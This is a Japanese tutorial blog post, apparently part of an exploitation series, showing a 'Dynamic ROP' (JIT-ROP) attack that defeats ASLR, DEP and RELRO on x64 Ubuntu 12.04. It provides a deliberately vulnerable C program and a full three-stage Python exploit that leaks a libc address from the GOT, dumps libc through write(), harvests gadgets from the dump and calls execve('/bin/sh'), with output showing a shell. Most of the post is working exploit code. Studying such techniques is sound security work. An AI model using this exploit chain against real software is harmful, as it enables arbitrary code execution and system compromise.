x64でDynamic ROPによるASLR+DEP+RELRO回避をやってみる

「x64でROP stager + Return-to-dl-resolve + DT_DEBUG readによるASLR+DEP+RELRO回避をやってみる」では、x64環境において次のようなステップを踏むことでスタックバッファオーバーフローからのシェル起動を行った。

  1. DT_DEBUG readによりlink_map構造体および_dl_runtime_resolve関数のアドレスを取得
  2. link_map構造体の書き換えにより、シンボルのバージョン情報取得箇所をスキップ
  3. Return-to-dl-resolveによりsystem関数を呼び出し

しかし、この方法は1のステップで少なくとも4回のメモリ読み書きを行う必要があり、やや煩雑である。 そこで、ここでは別の方法として、読み出したlibcバイナリからROPシーケンスを動的に構築しシステムコール実行を行うことで、x64環境かつASLR+DEP+RELROが有効な条件下でのシェル起動をやってみる。 また、ここではこの方法を便宜上Dynamic ROPと呼ぶことにする。

環境

Ubuntu 12.04 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるプログラムを書いてみる。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 8);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c

$ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out
AAAA

エクスプロイトコードを書いてみる

最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。

$ readelf -S a.out > dump.txt

$ objdump -d a.out >> dump.txt

上で出力した情報をもとに、libcバイナリを読み出しシステムコール実行を行うエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_bss = 0x0000000000601010  # readelf -S a.out
addr_got_read = 0x600fe8       # objdump -d -j.plt a.out
addr_got_write = 0x600fe0      # objdump -d -j.plt a.out
addr_got_start = 0x600ff0      # objdump -d -j.plt a.out

addr_set_regs = 0x400606       # pop junk/rbx/rbp/r12/r13/r14/r15; ret
addr_call_r12 = 0x4005f0       # mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8];
                               # -> add rbx, 1; cmp rbx, rbp; jne addr_call_r12; jmp addr_set_regs
addr_leave_ret = 0x400595      # leave; ret

stacksize = 0x400
base_stage = addr_bss + stacksize

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

# stage 1:
# read address of __libc_start_main()

buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<Q', addr_set_regs)
buf1 += 'AAAAAAAA'
buf1 += struct.pack('<Q', 0)                 # rbx == 0
buf1 += struct.pack('<Q', 1)                 # rbp == rbx+1
buf1 += struct.pack('<Q', addr_got_write)    # r12 -> call [r12]
buf1 += struct.pack('<Q', 1)                 # r13 -> edi
buf1 += struct.pack('<Q', addr_got_start)    # r14 -> rsi
buf1 += struct.pack('<Q', 8)                 # r15 -> rdx
buf1 += struct.pack('<Q', addr_call_r12)
buf1 += 'AAAAAAAA'
buf1 += struct.pack('<Q', 0)                 # rbx == 0
buf1 += struct.pack('<Q', 1)                 # rbp == rbx+1
buf1 += struct.pack('<Q', addr_got_read)     # r12 -> call [r12]
buf1 += struct.pack('<Q', 0)                 # r13 -> edi
buf1 += struct.pack('<Q', base_stage)        # r14 -> rsi
buf1 += struct.pack('<Q', 400)               # r15 -> rdx
buf1 += struct.pack('<Q', addr_call_r12)
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'                           # rbx
buf1 += struct.pack('<Q', base_stage)        # rbp
buf1 += 'AAAAAAAA'                           # r12
buf1 += 'AAAAAAAA'                           # r13
buf1 += 'AAAAAAAA'                           # r14
buf1 += 'AAAAAAAA'                           # r15
buf1 += struct.pack('<Q', addr_leave_ret)

p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))
addr_libc_start = struct.unpack('<Q', p.stdout.read(8))[0]
print "[+] addr_libc_start = %x" % addr_libc_start

# stage 2:
# read libc binary

libc_readsize = 0x160000

buf2 = 'AAAAAAAA'
buf2 += struct.pack('<Q', addr_set_regs)
buf2 += 'AAAAAAAA'
buf2 += struct.pack('<Q', 0)                 # rbx == 0
buf2 += struct.pack('<Q', 1)                 # rbp == rbx+1
buf2 += struct.pack('<Q', addr_got_write)    # r12 -> call [r12]
buf2 += struct.pack('<Q', 1)                 # r13 -> edi
buf2 += struct.pack('<Q', addr_libc_start)   # r14 -> rsi
buf2 += struct.pack('<Q', libc_readsize)     # r15 -> rdx
buf2 += struct.pack('<Q', addr_call_r12)
buf2 += 'AAAAAAAA'
buf2 += struct.pack('<Q', 0)                 # rbx == 0
buf2 += struct.pack('<Q', 1)                 # rbp == rbx+1
buf2 += struct.pack('<Q', addr_got_read)     # r12 -> call [r12]
buf2 += struct.pack('<Q', 0)                 # r13 -> edi
buf2 += struct.pack('<Q', base_stage-200)    # r14 -> rsi
buf2 += struct.pack('<Q', 200)               # r15 -> rdx
buf2 += struct.pack('<Q', addr_call_r12)
buf2 += 'AAAAAAAA'
buf2 += 'AAAAAAAA'                           # rbx
buf2 += struct.pack('<Q', base_stage-200)    # rbp
buf2 += 'AAAAAAAA'                           # r12
buf2 += 'AAAAAAAA'                           # r13
buf2 += 'AAAAAAAA'                           # r14
buf2 += 'AAAAAAAA'                           # r15
buf2 += struct.pack('<Q', addr_leave_ret)
buf2 += 'A' * (400-len(buf2))

p.stdin.write(buf2)
libc_bin = p.stdout.read(libc_readsize)
print "[+] len(libc_bin) = %x" % len(libc_bin)

# stage 3:
# execve("/bin/sh", {"/bin/sh", NULL}, NULL)

base_stage -= 200

addr_pop_rax = addr_libc_start + libc_bin.index('\x58\xc3')  # pop rax; ret
addr_pop_rdi = addr_libc_start + libc_bin.index('\x5f\xc3')  # pop rdi; ret
addr_pop_rsi = addr_libc_start + libc_bin.index('\x5e\xc3')  # pop rsi; ret
addr_pop_rdx = addr_libc_start + libc_bin.index('\x5a\xc3')  # pop rdx; ret
addr_syscall = addr_libc_start + libc_bin.index('\x0f\x05')  # syscall

nr_execve = 59  # grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h

offset_argv = 80
offset_filename = 96

buf3 = 'AAAAAAAA'
buf3 += struct.pack('<Q', addr_pop_rax)
buf3 += struct.pack('<Q', nr_execve)
buf3 += struct.pack('<Q', addr_pop_rdi)
buf3 += struct.pack('<Q', base_stage + offset_filename)
buf3 += struct.pack('<Q', addr_pop_rsi)
buf3 += struct.pack('<Q', base_stage + offset_argv)
buf3 += struct.pack('<Q', addr_pop_rdx)
buf3 += struct.pack('<Q', 0)
buf3 += struct.pack('<Q', addr_syscall)
print "[+] offset to argv: %d" % len(buf3)
buf3 += struct.pack('<Q', base_stage + offset_filename)
buf3 += struct.pack('<Q', 0)
print "[+] offset to filename: %d" % len(buf3)
buf3 += "/bin/sh\x00"
buf3 += 'A' * (200-len(buf3))

p.stdin.write(buf3)
p.stdin.write("exec /bin/sh <&2 >&2\n")
p.wait()

このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。

  1. __libc_csu_init gadgetsを使ってwrite関数を呼び出し、GOTから__libc_start_main関数のアドレスを書き出す
  2. 続けてread関数を呼び出し、書き込み可領域に次のROPシーケンスを読み込んだ後、stack pivotを行う
  3. 再度write関数を呼び出し、__libc_start_main関数を起点として0x160000バイトを書き出す
  4. 続けてread関数を呼び出し、別の書き込み可領域に次のROPシーケンスを読み込んだ後、stack pivotを行う
  5. 書き出したlibcバイナリから必要なgadgetを探し、これを使ってシステムコール実行を行う

ここで__libc_start_main関数のアドレスはわかっているため、これを読み出したバイナリにおけるgadgetのオフセットに足すことでgadgetのアドレスを計算することができる。 また、上のコードでは書き出すバイト数が実際に書き出せるバイト数より大きい場合プロセスがブロック状態になってしまうが、これはファイルディスクリプタをfcntl(2)でnonblockingモードにしselect(2)などで非同期読み込みを行うことで回避が可能である。

また、__libc_start_main関数はlibc中の早い位置に存在するため、これを起点に読み出すことでlibcから利用可能なgadgetの多くを得ることができる。 このことは次のようにして確認できる。

$ nm -D -n /lib/x86_64-linux-gnu/libc-2.15.so | head -n 40
                 U __libc_enable_secure
                 U __tls_get_addr
                 U _dl_argv
                 w _dl_starting_up
                 U _rtld_global
                 U _rtld_global_ro
0000000000000000 A GLIBC_2.10
0000000000000000 A GLIBC_2.11
(snip)
0000000000000000 A GLIBC_2.8
0000000000000000 A GLIBC_2.9
0000000000000000 A GLIBC_PRIVATE
0000000000000008 D __resp
0000000000000010 B errno
000000000000005c B h_errno
00000000000214f0 T __libc_init_first
00000000000216a0 T __libc_start_main
0000000000021880 W gnu_get_libc_release
0000000000021890 W gnu_get_libc_version
0000000000021c30 T __get_cpu_features
0000000000021c50 T __errno_location
0000000000021d20 T iconv_open
0000000000021f30 T iconv
00000000000220e0 T iconv_close
0000000000022c00 T __gconv_get_modules_db
0000000000022c10 T __gconv_get_alias_db
000000000002b720 T __gconv_get_cache

引数をセットし実行すると、次のようになる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x06\x06@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe0\x0f`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf0\x0f`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\xf0\x05@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe8\x0f`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x14`\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\xf0\x05@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAA\x10\x14`\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x95\x05@\x00\x00\x00\x00\x00'
[+] addr_libc_start = 7f15e794b6a0
[+] len(libc_bin) = 160000
[+] offset to argv: 80
[+] offset to filename: 96
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

ASLR+DEP+RELROが有効な条件下で、読み出したlibcバイナリ内のgadgetを使いシェルが起動できていることが確認できた。

なお、上のコードをroputilsを使って書いた場合は次のようになる。

追記(2015-02-12)

この手法は一般にはJust-In-Time ROP(JIT-ROP)として知られている。

関連リンク